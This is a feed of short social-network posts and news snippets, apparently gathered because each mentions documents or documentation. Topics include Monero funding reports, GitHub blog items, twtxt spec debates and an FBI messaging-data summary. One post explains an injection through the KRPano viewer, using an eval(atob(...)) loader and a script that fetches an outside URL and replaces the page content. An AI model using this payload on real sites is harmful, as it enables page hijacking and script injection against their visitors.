Ten Disturbing Stories About the Dark Side of Mindfulness
In this frenzied day and age, more and more of us are turning to mindfulness to lower our stress and center ourselves. Based on Buddhist meditation, mindfulness spans a range of techniques that ask people to be more aware of their thoughts and feelings. The benefits of mindfulness are well documented. But while some gurus […]

The post [Ten Disturbing Stories About the Dark Side of Mindfulness](https://listverse.com/2 … ⌘ Read more

It just occurred to me that Gemtext has no explicit support for anchors: the ability to link to a specific part of a document.

Rucknium publicly releases all OSPEAD-related documents and code after 3+ years of research
Rucknium1 has published all of the HackerOne 2 and CCS (M1-M2)3 document and code submissions related to their Optimal Static Parametric Estimation of Arbitrary Distributions (OSPEAD) 4 project, after 3+ years of research:

The OSPEAD documents and code are being publicly released now because there is now an implementable solution to the problems I raised in my … ⌘ Read more

Humane is shutting down the AI Pin and selling its remnants to HP
Humane is selling most of its company to HP for $116 million and will stop selling AI Pin, the company announced today. AI Pins that have already been purchased will continue to function normally until 3PM ET on February 28th, Humane says in a support document. After that date, Pins will “no longer connect to Humane’s servers.” As a result, AI Pin features will “no longer include calling, messaging, A … ⌘ Read more

UNIX man pages
What might be somewhat more surprising though considering its research origins is that Unix almost since the very beginning had a comprehensive set of online reference documentation for all its commands, system calls, file formats, etc. These are the the manual- or man-pages. On Unix systems used interactively, the man-pages have historically always been installed, space permitting. The way the manual pages have evolved and how they are used has changed over the decades. This set of posts is intended … ⌘ Read more

Run Linux inside a PDF file via a RISC-V emulator
You might expect PDF files to only be comprised of static documents, but surprisingly, the PDF file format supports Javascript with its own separate standard library. Modern browsers (Chromium, Firefox) implement this as part of their PDF engines. However, the APIs that are available in the browser are much more limited. The full specfication for the JS in PDFs was only ever implemented by Adobe Acrobat, and it contains some ridicul … ⌘ Read more

tobtoht posts January 2025 Monero/Feather dev report
tobtoht1 has published the first progress report2 for his full-time Q1 2025 Feather Wallet and Monero dev work CCS proposal3:

Summary: core build system and CI work

Feather: 4 commits (+217, -45)
 * guix: add missing patch
Core: 43 (non-documentation) PRs
 * Comments on the Code of Conduct #9738
 * cmake: remove msvc #9729
 * ci: containerize ubuntu cli jobs #9708 [..]

The full d … ⌘ Read more

The invalid 68030 instruction that accidentally allowed the Mac Classic II to successfully boot up
A bug in the ROM for the Macintosh II was recently discovered that causes a crash when booting in 32-bit mode. Doug Brown discovered and documented the bug while playing with the MAME debugger. Why did it never show up before? It seems a quirk in Motorola’s 68030 CPU inadvertently fixes it when executing an illegal instruction that shou … ⌘ Read more

10 U.S. Military Plans That Were Top Secret Until Recently
Throughout history, governments and military organizations have devised secret plans to secure their nation’s interests or gain an advantage over adversaries. Many of these plans remained classified for decades, only coming to light through declassified documents or whistleblowers. These revelations often provide a fascinating glimpse into strategies, fears, and ambitions that shaped global events, offering […]

The … ⌘ Read more

Documenting and explaining legacy code with GitHub Copilot: Tips and examples
Learn how to document and explain legacy code with GitHub Copilot with real-world examples.

The post Documenting and explaining legacy code with GitHub Copilot: Tips and examples appeared first on The GitHub Blog. ⌘ Read more

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

How to use GitHub Copilot: What it can do and real-world examples
Real-world examples show you how Copilot can generate unit tests, refactor code, create documentation, perform multi-file edits, and much more

The post How to use GitHub Copilot: What it can do and real-world examples appeared first on The GitHub Blog. ⌘ Read more

10 Catastrophic Translation Fails in History
Translation seems like an easy task these days, with the help of technology such as Google at our fingertips, but it isn’t always so simple. Simple translation when trying to greet someone from another country is one thing, but interpreting major documents or treaties is another. Translators and interpreters are professionals with years of experience, […]

The post [10 Catastrophic Translation Fails in History](https://listverse.com/2024/12/28/1 … ⌘ Read more

What should the advantage be to nick = _compared to just not defining a nick and let the client use the domain as the handle?

What is not intuitive is that you put something in the nick field that is not to be taken literary. The special meaning of _ is only clean if you read the documentation, compared to having something in nick that makes sense in the current context of the twtxt.txt.

4rkal submits CCS proposal to develop and release ‘dmvp2p’ v1
4rkal1 has submitted a CCS proposal2 looking to finish developing Donate Monero Via P2Pool (dmvp2p) 3 version 1, create project documentation and a step by step video:

dmvp2p short for Donate Monero Via P2Pool, is a simple GUI application that allows users to donate monero to their favorite creators/projects using p2pool. This project is a cross platform application that will enable micro-tipping via p2p … ⌘ Read more

fullmetalScience submits CCS proposal for ‘NoShore’ project
fullmetalScience1 has submitted their first CCS proposal2 looking to complete work on NoShore, a project dedicated to on-the-go offline payments:

TL;DR The document proposes a shell-based environment that users can run to enable offline payments with supporting merchants, whereas the actual signing device will be developed separately in an upcoming iteration.

”`
Total funding: 45 XMR.

ETA: Read more”`

Banned C++ Contributor Speaks Out
Andrew Tomazos, banned from the C++ Standards Group for using the word “Question” in a technical document, shares his story. ⌘ Read more

jeffro256 posts September-October 2024 Monero/Carrot dev update
jeffro2561 has posted the first progress report (M1/September-Otcober 2024)2 for their Monero/Carrot3 dev work CCS proposal4:

I spent a lot of time recently refactoring the design of the Carrot implementation to make it well documented and clear, as well as highly reusable. I also spent a lot of time removing dependencies so that it’s ready to be quickly parsed by future impleme … ⌘ Read more

So, @prologic@twtxt.net, Yarn isn’t rendering the metadata as described on the format documentation. That is, ux2028 is ignored when Yarn renders the description metadata.

jeffro256’s ‘Carrot’ spec peer review CCS proposal ready for funding
jeffro2561’s CCS proposal2 to get the Carrot 3 spec document peer reviewed by CypherStack is ready for funding:

Funding needed: 126 XMR

To support this proposal, you can donate any XMR amount to the address listed on its Gitlab Funding Required 4 page.

Consult the previous Monero Observer report5 to learn more about this CCS.

1. https://github.com … ⌘ Read more

jeffro256 submits CCS proposal to get ‘Carrot’ reviewed by CypherStack
jeffro2561 has submitted a CCS proposal2 looking to get the Carrot 3 spec document peer reviewed by CypherStack4:

This CCS will provide funding for the first step towards a Carrot implementation in Monero. [..] The deliverable is a write-up which will include security proofs for all properties listed in section 9. [..] In the case that CypherStack requires more funds to com … ⌘ Read more

@prologic@twtxt.net

See https://dev.twtxt.net

Yes, that is exactly what I meant. I like that collection and “twtxt v2” feels like a departure.

Maybe there’s an advantage to grouping it into one spec, but IMO that shouldn’t be done at the same time as introducing new untested ideas.

See https://yarn.social (especially this section: https://yarn.social/#self-host) – It really doesn’t get much simpler than this 🤣

Again, I like this existing simplicity. (I would even argue you don’t need the metadata.)

That page says “For the best experience your client should also support some of the Twtxt Extensions…” but it is clear you don’t need to. I would like it to stay that way, and publishing a big long spec and calling it “twtxt v2” feels like a departure from that. (I think the content of the document is valuable; I’m just carping about how it’s being presented.)

More thoughts about changes to twtxt (as if we haven’t had enough thoughts):

1. There are lots of great ideas here! Is there a benefit to putting them all into one document? Seems to me this could more easily be a bunch of separate efforts that can progress at their own pace:
   

1a. Better and longer hashes.

1b. New possibly-controversial ideas like edit: and delete: and location-based references as an alternative to hashes.

1c. Best practices, e.g. Content-Type: text/plain; charset=utf-8

1d. Stuff already described at dev.twtxt.net that doesn’t need any changes.

1. We won’t know what will and won’t work until we try them. So I’m inclined to think of this as a bunch of draft ideas. Maybe later when we’ve seen it play out it could make sense to define a group of recommended twtxt extensions and give them a name.

2. Another reason for 1 (above) is: I like the current situation where all you need to get started is these two short and simple documents:
   https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
   https://twtxt.readthedocs.io/en/latest/user/discoverability.html
   and everything else is an extension for anyone interested. (Deprecating non-UTC times seems reasonable to me, though.) Having a big long “twtxt v2” document seems less inviting to people looking for something simple. (@prologic@twtxt.net you mentioned an anonymous comment “you’ve ruined twtxt” and while I don’t completely agree with that commenter’s sentiment, I would feel like twtxt had lost something if it moved away from having a super-simple core.)

3. All that being said, these are just my opinions, and I’m not doing the work of writing software or drafting proposals. Maybe I will at some point, but until then, if you’re actually implementing things, you’re in charge of what you decide to make, and I’m grateful for the work.

I demand full 9 digit nano second timestamps and the full TZ identifier as documented in the tz 2024b database! I need to know if there was a change in daylight savings as per the locality in question as of the provided date.

@prologic@twtxt.net Thanks for writing that up!

I hope it can remain a living document (or sequence of draft revisions) for a good long time while we figure out how this stuff works in practice.

I am not sure how I feel about all this being done at once, vs. letting conventions arise.

For example, even today I could reply to twt abc1234 with “(#abc1234) Edit: …” and I think all you humans would understand it as an edit to (#abc1234). Maybe eventually it would become a common enough convention that clients would start to support it explicitly.

Similarly we could just start using 11-digit hashes. We should iron out whether it’s sha256 or whatever but there’s no need get all the other stuff right at the same time.

I have similar thoughts about how some users could try out location-based replies in a backward-compatible way (append the replyto: stuff after the legacy (#hash) style).

However I recognize that I’m not the one implementing this stuff, and it’s less work to just have everything determined up front.

Misc comments (I haven’t read the whole thing):

• Did you mean to make hashes hexadecimal? You lose 11 bits that way compared to base32. I’d suggest gaining 11 bits with base64 instead.

• “Clients MUST preserve the original hash” — do you mean they MUST preserve the original twt?

• Thanks for phrasing the bit about deletions so neutrally.

• I don’t like the MUST in “Clients MUST follow the chain of reply-to references…”. If someone writes a client as a 40-line shell script that requires the user to piece together the threading themselves, IMO we shouldn’t declare the client non-conforming just because they didn’t get to all the bells and whistles.

• Similarly I don’t like the MUST for user agents. For one thing, you might want to fetch a feed without revealing your identty. Also, it raises the bar for a minimal implementation (I’m again thinking again of the 40-line shell script).

• For “who follows” lists: why must the long, random tokens be only valid for a limited time? Do you have a scenario in mind where they could leak?

• Why can’t feeds be served over HTTP/1.0? Again, thinking about simple software. I recently tried implementing HTTP/1.1 and it wasn’t too bad, but 1.0 would have been slightly simpler.

• Why get into the nitty-gritty about caching headers? This seems like generic advice for HTTP servers and clients.

• I’m a little sad about other protocols being not recommended.

• I don’t know how I feel about including markdown. I don’t mind too much that yarn users emit twts full of markdown, but I’m more of a plain text kind of person. Also it adds to the length. I wonder if putting a separate document would make more sense; that would also help with the length.

Google AI Notebook Turns Documents into Fake Podcasts with Fake Hosts Having Fake Discussions
Just what the world needed! Fake podcasts! With fake laughing! Thanks Google! ⌘ Read more

@lyse@lyse.isobeef.org Interesting. The yarnd --help currently says (for me):

  -R, --open-registrations            whether or not to have open user registgration

meaning it doesn’t give the default setting or warn you that you need to use -R=false and not -R false. It also leaves unclear whether --open-registrations false would work or if you need to do --open-registrations=false. It’s also unclear whether the setting change in the user interface is overridden by the command line arguments, overrides the command line arguments, is persisted across restarts.

Maybe all this is worth posting an issue for additional documentation on the git repo if there isn’t one already.

“registgration” is misspelled that way in the help by the way.

New York Times Source Code Leaked (and verified)
Over 3.6 Million files totaling over 334 GB. And it’s real. Source code. Documentation. Markdown files. The works. ⌘ Read more

Leaked documents from Disney’s Club Penguin (Over 800 MB)
Verified by The Lunduke Journal. And sure to give any Software Developer PTSD. ⌘ Read more

@prologic@twtxt.net pretty nothing berger. The “blowout” was pretty tame coming from Linus kill yourself now. The world will be a better place” Torvold.

The issue was a dev making a “fix” that didn’t have a documented problem. They reused some specific low level functions they did not understand the reason they were made.

When Apple built MacOS… for Solaris and HP-UX. In 1994.
Listen now (16 mins) | Back in 1994, Apple released the Macintosh Application Environment for UNIX. And it was kind of amazing. Read the full article (with links to documentation and screenshots) at The Lunduke Journal: https://lunduke.locals.com/post/4812552/remember-when-apple-built-a-mac-os-running-on-top-of-solaris-and-hp-ux-seriously-it-happened ⌘ Read more

@Planet_Jabber_XMPP@feeds.twtxt.net

The benefits of blockchain implementation across multiple sectors are well-documented

WTF are you talking about? The only thing well-documented about “the blockchain” is that it sucks and its primary use case is creating Ponzi schemes.

An official FBI document dated January 2021, obtained by the American association “Property of People” through the Freedom of Information Act.

This document summarizes the possibilities for legal access to data from nine instant messaging services: iMessage, Line, Signal, Telegram, Threema, Viber, WeChat, WhatsApp and Wickr. For each software, different judicial methods are explored, such as subpoena, search warrant, active collection of communications metadata (“Pen Register”) or connection data retention law (“18 USC§2703”). Here, in essence, is the information the FBI says it can retrieve:

• Apple iMessage: basic subscriber data; in the case of an iPhone user, investigators may be able to get their hands on message content if the user uses iCloud to synchronize iMessage messages or to back up data on their phone.

• Line: account data (image, username, e-mail address, phone number, Line ID, creation date, usage data, etc.); if the user has not activated end-to-end encryption, investigators can retrieve the texts of exchanges over a seven-day period, but not other data (audio, video, images, location).

• Signal: date and time of account creation and date of last connection.

• Telegram: IP address and phone number for investigations into confirmed terrorists, otherwise nothing.

• Threema: cryptographic fingerprint of phone number and e-mail address, push service tokens if used, public key, account creation date, last connection date.

• Viber: account data and IP address used to create the account; investigators can also access message history (date, time, source, destination).

• WeChat: basic data such as name, phone number, e-mail and IP address, but only for non-Chinese users.

• WhatsApp: the targeted person’s basic data, address book and contacts who have the targeted person in their address book; it is possible to collect message metadata in real time (“Pen Register”); message content can be retrieved via iCloud backups.

• Wickr: Date and time of account creation, types of terminal on which the application is installed, date of last connection, number of messages exchanged, external identifiers associated with the account (e-mail addresses, telephone numbers), avatar image, data linked to adding or deleting.

TL;DR Signal is the messaging system that provides the least information to investigators.

I remember when doing this process with my wife. During the halfway point we brought all sorts of documentation to show commingling of assets and showing we had “built a life together” .. we get to the interview and they just ask if we have a Costco card together. :|

good luck to you!

Unboxing fork improvements and unwrapping fork docs
We’re always trying to improve the GitHub developer experience in meaningful ways, and we love learning from our customers. In the last several months we released several new fork capabilities, and we’re publishing revised fork documentation that gives more details with clearer explanations to make fork concepts easier to understand. ⌘ Read more

Improved REST API documentation
We’re excited to announce some big improvements to our REST API documentation. We know developers rely on this documentation to integrate with GitHub, and we are committed to making it trustworthy, easy to find, and easy to use. ⌘ Read more

Documenting Microsoft’s funky attempts at porting software to UNIX
Listen now (15 min) | I was there for part of it. Trying to preserve that weird part of computing history. ⌘ Read more

I have now created a log documenting my attempts at making fudge: !fudgelog

Securing your GitHub account with two-factor authentication
The benefits of multifactor authentication are widely documented, and there are a number of options for using 2FA on GitHub. ⌘ Read more

Documentation on i2c devices is so-so. Lots of good documentation on higher-level APIs, but not a lot of “this register does this” stuff.

finally finished all the initial ugen documentation. everything now has a sentence or two. the generated page can be accessed from the ugen wiki page [[/proj/monolith/wiki/ugens]] #updates #monolith

been adopting a document-as-you go approach to the !monolith wiki. as I dogfood my software to make pieces an etudes like !breathing_cards, I write about it in a wiki stub. #workflow #documentation

The master plan is to export the !worgle bits of !monolith to a !weewiki, then begin adding user-level documentation that is able to dynamically reference bits of source code as another wiki page.

while eventually I hope to get all of literate org parts of !monolith posted online as a self contained !weewiki, I’ve decided to post little pieces as self-contained documents. here is a copy of !trigvm, the toy VM used to power a rhythmic computer-sequencer controlled entirely from the !monome_grid

I really want !btprnt to be integrated into !weewiki somehow. Both can speak !janet, and I already figured how to embed PNG images inside of an HTML document. In small doses, it could be fun. #halfbakedideas

documenting my experiments with twtxt/weewiki integration at the !twtxt_playground

Are there any design documents i can’t find or do i need to read the java code?

@dracoblue@dracoblue.net I’m not sure if i’m ready to document the streaming interface, i’m still playing with different ideas.

A detailed document describing HTTP/2 ⌘ https://www.gitbook.com/book/bagder/http2-explained/details

Slow day for #txtnix. Just some documentation for plugins and fighting to get the test coverage back up to 85%.